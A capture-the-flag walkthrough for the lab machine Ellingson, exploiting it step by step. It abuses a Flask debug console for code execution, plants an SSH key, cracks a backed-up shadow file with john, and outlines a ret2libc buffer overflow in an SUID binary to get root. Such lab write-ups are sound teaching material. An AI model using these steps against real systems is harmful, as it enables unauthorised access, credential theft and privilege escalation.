Ellingson

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.139 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80,60080 10.10.10.139 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
The website consists of a landing page with some articles.

The third article says that the most common passwords are Love, Secret, Sex and God. This might be helpful later.

Exploitation
If we try to access an article that doesn't exist, we'll see a Flask error.
http://10.10.10.139/articles/4

If we hover over one of the errors, we'll see a console icon, which gives us a python console if pressed. We could see that the server is running as hal.
print(os.popen("whoami").read())

There are some home directories inside /home, and the hal directory has the .ssh folder inside.

There is one id_rsa key, but it looks like it is encrypted.

We could still create a pair of SSH keys in our machine, and put our id_rsa.pub key inside the authorized_keys of the server.
ssh-keygen
cat ~/.ssh/id_rsa.pub | tr -d '\n' | xclip -sel clip
Then, put it in the authorized_keys of the server.

Now we can access the machine via SSH as hal, without the need of any password.
ssh hal@10.10.10.139
Privilege Escalation
The hal user is a member of the adm group.
id
There is one file called shadow.bak whose group is also the adm group.
find / -group adm 2>/dev/null
It seems like the backup of the /etc/shadow file.
cat /var/backups/shadow.bak
Copy the /etc/passwd into the passwd file, and the /var/backups/shadow.bak into the shadow file. Now, let's try to break those hashes. As we saw earlier, the most common passwords are Love, Secret, Sex and God. We could get all the passwords that contain any of these words from the rockyou.txt dictionary, and use that wordlist to break the hashes.
cat /usr/share/wordlists/rockyou.txt | grep -Ei "love|secret|sex|god" > passwords
Now, use the unshadow tool to get the hashes needed to crack them with john.
unshadow passwd shadow > unshadow
Then, try to break the hashes with this new wordlist.
john -w=passwords unshadow
The password for theplague doesn't seem to be valid. But the password for margo is valid. Once we become the margo user, we'll be able to grab the user flag.
su margo
There is one binary called garbage with SUID permissions.
find / -perm /4000 2>/dev/null
It asks for a password.
/usr/bin/garbage
If we try to enter a bunch of a characters, we'll see the segmentation fault, which means that the binary is vulnerable to buffer overflow.
/usr/bin/garbage
As we can see in the victim machine, ASLR is enabled, which means that the memory address of the binary is dynamic.
cat /proc/sys/kernel/randomize_va_space
The binary is using the /lib/x86_64-linux-gnu/libc.so.6 libc library. Let's transfer the binary and the libc library to our local machine.
scp hal@10.10.10.139:/usr/bin/garbage .
scp hal@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 .
We are ready to exploit the buffer overflow. Let's run the binary with gdb.
gdb ./garbage
Let's run the binary with the -i argument, and add a bunch of A characters next to allow, so we can crash the program.
gef➤ r -i
Enter access password: aaaa...aaaa
We have to find the offset, or number or A characters, to reach the RSP register. To do it, let's create a pattern.
gef➤ pattern create 200
Now, run the program again, and put the pattern with the allow argument.
gef➤ r -i
Enter access password: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Now, we can see that the offset is 136 bytes.
gef➤ pattern offset $rsp
Let's print with python a string of 136 A chars, 8 B chars, and 8 C chars.
python -c "print('A'*136+'B'*8+'C'*8)"
Now, we'll see how the RSP register is full of B and C characters.
gef➤ r -i
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
If we check the memory protections of the binary, we'll see that only NX is enabled.
gef➤ checksec
Here is the strategy. First, we need to leak and calculate the address of the libc library. We can do this using the PUTS function, and giving __libc_start_main as an argument, which we could load into rdi with a gadget.
Once we know the real address of libc, we can get everything else. As we want a shell as root, we will need to set the UID of the shell to 0. To do it, we need to load a 0 into rdi and then call the setuid function.
Finally, we need to spawn a shell. Same thing as before, first we load the /bin/sh string into rdi, then we call the system function.
Here is a python script that automates all this process using the pwntools library.
Run the script to get a shell as root, and then all we have to do is reap the harvest and take the root flag.
python overflow.py
Last updated
Was this helpful?